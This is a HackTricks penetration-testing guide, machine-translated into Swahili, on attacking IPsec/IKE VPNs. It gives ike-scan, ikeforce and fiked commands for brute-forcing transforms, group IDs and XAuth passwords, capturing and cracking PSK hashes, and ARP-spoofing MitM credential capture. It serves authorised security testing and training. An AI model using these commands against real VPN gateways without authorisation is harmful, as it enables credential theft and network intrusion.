500/udp - Pentesting IPsec/IKE VPN
Reading time: 13 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
IPsec inatambulika sana kama teknolojia kuu ya kulinda mawasiliano kati ya mitandao (LAN-to-LAN) na kutoka kwa watumiaji wa mbali hadi lango la mtandao (remote access), ikihudumu kama msingi wa suluhisho za VPN za biashara.
Kuanzishwa kwa association ya usalama (SA) kati ya maeneo mawili kunasimamiwa na IKE, ambayo inafanya kazi chini ya kivuli cha ISAKMP, protokali iliyoundwa kwa ajili ya uthibitishaji na kubadilishana funguo. Mchakato huu unafanyika katika hatua kadhaa:
- Phase 1: Kituo salama kinaundwa kati ya maeneo mawili. Hii inapatikana kupitia matumizi ya Pre-Shared Key (PSK) au vyeti, ikitumia njia kuu, ambayo inajumuisha jozi tatu za ujumbe, au aggressive mode.
- Phase 1.5: Ingawa si ya lazima, hatua hii, inayojulikana kama Extended Authentication Phase, inathibitisha utambulisho wa mtumiaji anayejaribu kuungana kwa kuhitaji jina la mtumiaji na nenosiri.
- Phase 2: Hatua hii inajitolea kwa kujadili vigezo vya kulinda data kwa kutumia ESP na AH. Inaruhusu matumizi ya algorithimu tofauti na zile katika Phase 1 ili kuhakikisha Perfect Forward Secrecy (PFS), ikiongeza usalama.
Default port: 500/udp
Discover the service using nmap
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Kupata mabadiliko halali
Mipangilio ya IPSec inaweza kuandaliwa ili kukubali mabadiliko moja au machache tu. Mabadiliko ni mchanganyiko wa thamani. Kila mabadiliko ina idadi ya sifa kama DES au 3DES kama algorithimu ya usimbaji, SHA au MD5 kama algorithimu ya uaminifu, funguo zilizoshirikiwa kabla kama aina ya uthibitishaji, Diffie-Hellman 1 au 2 kama algorithimu ya usambazaji wa funguo na sekunde 28800 kama muda wa maisha.
Basi, jambo la kwanza unalopaswa kufanya ni kupata mabadiliko halali, ili server ikuzungumze. Ili kufanya hivyo, unaweza kutumia chombo ike-scan. Kwa kawaida, Ike-scan inafanya kazi katika hali kuu, na inatuma pakiti kwa lango lenye kichwa cha ISAKMP na pendekezo moja lenye mabadiliko nane ndani yake.
Kulingana na jibu unaweza kupata taarifa fulani kuhusu mwisho:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
Kama unavyoona katika jibu la awali, kuna uwanja unaoitwa AUTH wenye thamani PSK. Hii ina maana kwamba vpn imewekwa kwa kutumia funguo zilizoshirikiwa mapema (na hii ni nzuri sana kwa pentester).
Thamani ya mstari wa mwisho pia ni muhimu sana:
- 0 ilirudisha handshake; 0 ilirudisha notify: Hii ina maana kwamba lengo si lango la IPsec.
- 1 ilirudisha handshake; 0 ilirudisha notify: Hii ina maana kwamba lengo limewekwa kwa IPsec na linataka kufanya mazungumzo ya IKE, na moja au zaidi ya mabadiliko uliyopendekeza yanakubalika (mabadiliko halali yataonyeshwa katika matokeo).
- 0 ilirudisha handshake; 1 ilirudisha notify: Lango la VPN linajibu kwa ujumbe wa notify wakati hakuna mabadiliko yanayokubalika (ingawa baadhi ya lango halijibu, katika kesi hiyo uchambuzi zaidi na pendekezo lililosasishwa linapaswa kujaribiwa).
Basi, katika kesi hii tayari tuna mabadiliko halali lakini ikiwa uko katika kesi ya 3, basi unahitaji kufanya brute-force kidogo ili kupata mabadiliko halali:
Kwanza kabisa unahitaji kuunda mabadiliko yote yanayowezekana:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
Na kisha fanya brute-force kila moja ukitumia ike-scan (hii inaweza kuchukua dakika kadhaa):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
Ikiwa brute-force haikufanya kazi, labda seva inajibu bila mikono hata kwa mabadiliko halali. Kisha, unaweza kujaribu brute-force hiyo hiyo lakini ukitumia hali ya shinikizo:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
Natumaini mabadiliko halali yanarudishwa.
Unaweza kujaribu shambulio sawa ukitumia iker.py.
Pia unaweza kujaribu kulazimisha mabadiliko kwa kutumia ikeforce:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
Katika DH Group: 14 = 2048-bit MODP na 15 = 3072-bit
2 = HMAC-SHA = SHA1 (katika kesi hii). Muundo wa --trans
ni $Enc,$Hash,$Auth,$DH
Cisco inaonyesha kuepuka kutumia DH groups 1 na 2 kwa sababu hazina nguvu za kutosha. Wataalamu wanaamini kwamba nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja usimbuaji wa data inayotumia vikundi hivi dhaifu. Hii inafanywa kwa kutumia mbinu maalum inayowandaa kuvunja misimbo kwa haraka. Ingawa inagharimu pesa nyingi kuweka mbinu hii, inawawezesha nchi hizi zenye nguvu kusoma data iliyosimbwa kwa wakati halisi ikiwa inatumia kundi ambalo si imara (kama 1,024-bit au ndogo).
Server fingerprinting
Kisha, unaweza kutumia ike-scan kujaribu gundua muuzaji wa kifaa. Chombo kinatuma pendekezo la awali na kusitisha kurudi. Kisha, itachambua tofauti ya wakati kati ya ujumbe ulipokelewa kutoka kwa seva na muundo wa majibu unaolingana, pentester anaweza kwa mafanikio kubaini muuzaji wa VPN gateway. Zaidi ya hayo, baadhi ya seva za VPN zitatumia Vendor ID (VID) payload ya hiari pamoja na IKE.
Taja mabadiliko halali ikiwa inahitajika (ukitumia --trans)
Ikiwa IKE itagundua ni nani muuzaji, itachapisha:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
Hii inaweza pia kufanywa kwa kutumia nmap script ike-version
Kutafuta ID sahihi (jina la kundi)
Ili kuruhusiwa kukamata hash unahitaji mabadiliko halali yanayounga mkono Aggressive mode na ID sahihi (jina la kundi). Huenda usijue jina halali la kundi, hivyo itabidi ufanye brute-force.
Ili kufanya hivyo, ningependa kukupendekezea mbinu 2:
Bruteforcing ID kwa kutumia ike-scan
Kwanza kabisa jaribu kufanya ombi na ID bandia ukijaribu kukusanya hash ("-P"):
ike-scan -P -M -A -n fakeID <IP>
Ikiwa hakuna hash inayorejeshwa, basi huenda njia hii ya brute forcing itafanya kazi. Ikiwa hash fulani inarejeshwa, hii inamaanisha kwamba hash bandia itatumwa kwa ID bandia, hivyo njia hii haitakuwa ya kuaminika katika brute-force ID. Kwa mfano, hash bandia inaweza kurejeshwa (hii inatokea katika toleo za kisasa):
Lakini kama nilivyosema, ikiwa hakuna hash inayorejeshwa, basi unapaswa kujaribu brute-force majina ya vikundi vya kawaida kwa kutumia ike-scan.
Script hii itajaribu brute-force IDs zinazowezekana na itarejesha IDs ambapo handshake halali inarejeshwa (hii itakuwa jina halali la kundi).
Ikiwa umepata mabadiliko maalum, ongeza katika amri ya ike-scan. Na ikiwa umepata mabadiliko kadhaa, usisite kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja kati yao ifanye kazi ipasavyo).
Unaweza kutumia kamusi ya ikeforce au ile katika seclists ya majina ya vikundi ya kawaida kujaribu kuvi-brute-force:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Bruteforcing ID na Iker
iker.py pia inatumia ike-scan kutafuta majina ya vikundi yanayoweza. Inafuata njia yake mwenyewe ya kupata ID halali kulingana na matokeo ya ike-scan.
Bruteforcing ID na ikeforce
ikeforce.py ni chombo ambacho kinaweza kutumika kujaribu nguvu IDs pia. Chombo hiki kitajaribu kuchangamsha udhaifu tofauti ambazo zinaweza kutumika kuweza kutofautisha kati ya ID halali na isiyo halali (inaweza kuwa na positives za uwongo na negatives za uwongo, ndiyo maana napendelea kutumia njia ya ike-scan ikiwa inawezekana).
Kwa kawaida ikeforce itatuma mwanzoni IDs za nasibu ili kuangalia tabia ya seva na kuamua mbinu ya kutumia.
- Njia ya kwanza ni kujaribu nguvu majina ya vikundi kwa kutafuta taarifa ya Dead Peer Detection DPD ya mifumo ya Cisco (habari hii inarejelewa tu na seva ikiwa jina la kundi ni sahihi).
- Njia ya pili inayopatikana ni kuangalia idadi ya majibu yaliyotumwa kwa kila jaribio kwa sababu wakati mwingine pakiti zaidi zitatumwa wakati ID sahihi inatumika.
- Njia ya tatu inajumuisha kutafuta "INVALID-ID-INFORMATION" katika jibu la ID isiyo sahihi.
- Hatimaye, ikiwa seva haitajibu chochote kwa ukaguzi, ikeforce itajaribu kujaribu nguvu seva na kuangalia ikiwa wakati ID sahihi inatumwa seva inajibu kwa pakiti fulani.
Kwa wazi, lengo la kujaribu nguvu ID ni kupata PSK unapokuwa na ID halali. Kisha, pamoja na ID na PSK utahitaji kujaribu nguvu XAUTH (ikiwa imewezeshwa).
Ikiwa umepata mabadiliko maalum ongeza katika amri ya ikeforce. Na ikiwa umepata mabadiliko kadhaa usisite kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja yao ifanye kazi vizuri).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(Kutoka kwa kitabu Network Security Assessment: Know Your Network): Pia inawezekana kupata majina halali ya watumiaji kwa kunasa muunganisho kati ya mteja wa VPN na seva, kwani pakiti ya kwanza ya hali ya shambulio inayojumuisha kitambulisho cha mteja inatumwa wazi
Capturing & cracking the hash
Hatimaye, Ikiwa umepata mabadiliko halali na jina la kundi na ikiwa hali ya shambulio inaruhusiwa, basi unaweza kwa urahisi kuchukua hash inayoweza kufichuliwa:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
Hash itahifadhiwa ndani ya hash.txt.
Unaweza kutumia psk-crack, john (ukitumia ikescan2john.py) na hashcat ili crack hash:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE iliyounganishwa na Pre-Shared Key (PSK) mara nyingi inatumika kwa madhumuni ya uthibitishaji wa kikundi. Njia hii inapanuliwa na XAuth (Extended Authentication), ambayo inatoa safu ya ziada ya uthibitishaji wa mtumiaji. Uthibitishaji huu kwa kawaida unategemea huduma kama Microsoft Active Directory, RADIUS, au mifumo inayofanana.
Katika kuhamia kwenye IKEv2, mabadiliko makubwa yanaonekana ambapo EAP (Extensible Authentication Protocol) inatumika badala ya XAuth kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanaonyesha maendeleo katika mbinu za uthibitishaji ndani ya itifaki za mawasiliano salama.
MitM ya mtandao wa ndani ili kukamata akidi
Hivyo unaweza kukamata data ya kuingia kwa kutumia fiked na kuona kama kuna jina la mtumiaji la kawaida (Unahitaji kuelekeza trafiki ya IKE kwa fiked
kwa ajili ya kunusa, ambayo inaweza kufanywa kwa msaada wa ARP spoofing, more info). Fiked itakuwa kama mwisho wa VPN na itakamata akidi za XAuth:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Pia, ukitumia IPSec jaribu kufanya shambulio la MitM na kuzuia trafiki yote kwenye bandari 500, ikiwa tunnel ya IPSec haiwezi kuanzishwa labda trafiki itatumwa wazi.
Brute-forcing XAUTH username na password kwa ikeforce
Ili kufanya brute force XAUTH (wakati unajua jina halali la kundi id na psk) unaweza kutumia jina la mtumiaji au orodha ya majina ya watumiaji na orodha ya nywila:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
Kwa njia hii, ikeforce itajaribu kuungana kwa kutumia kila mchanganyiko wa jina la mtumiaji:nenosiri.
Ikiwa umepata moja au zaidi ya mabadiliko halali, tumia tu kama katika hatua zilizopita.
Uthibitishaji na IPSEC VPN
Katika Kali, VPNC inatumika kuanzisha mabomba ya IPsec. Profaili lazima ziwe katika saraka /etc/vpnc/
. Unaweza kuanzisha profaili hizi kwa kutumia amri vpnc.
Amri na mipangilio ifuatayo inaonyesha mchakato wa kuanzisha muunganisho wa VPN na VPNC:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
Katika mpangilio huu:
- Badilisha
[VPN_GATEWAY_IP]
na anwani halisi ya IP ya VPN gateway. - Badilisha
[VPN_CONNECTION_ID]
na kitambulisho cha muunganisho wa VPN. - Badilisha
[VPN_GROUP_SECRET]
na siri ya kundi la VPN. - Badilisha
[VPN_USERNAME]
na[VPN_PASSWORD]
na akreditivu za uthibitishaji za VPN. [PID]
inasimamia kitambulisho cha mchakato ambacho kitapewa wakativpnc
inapoanzishwa.
Hakikisha kuwa thamani halisi, salama zinatumika kubadilisha nafasi za nafasi wakati wa kuunda VPN.
Nyenzo za Marejeo
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKE
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.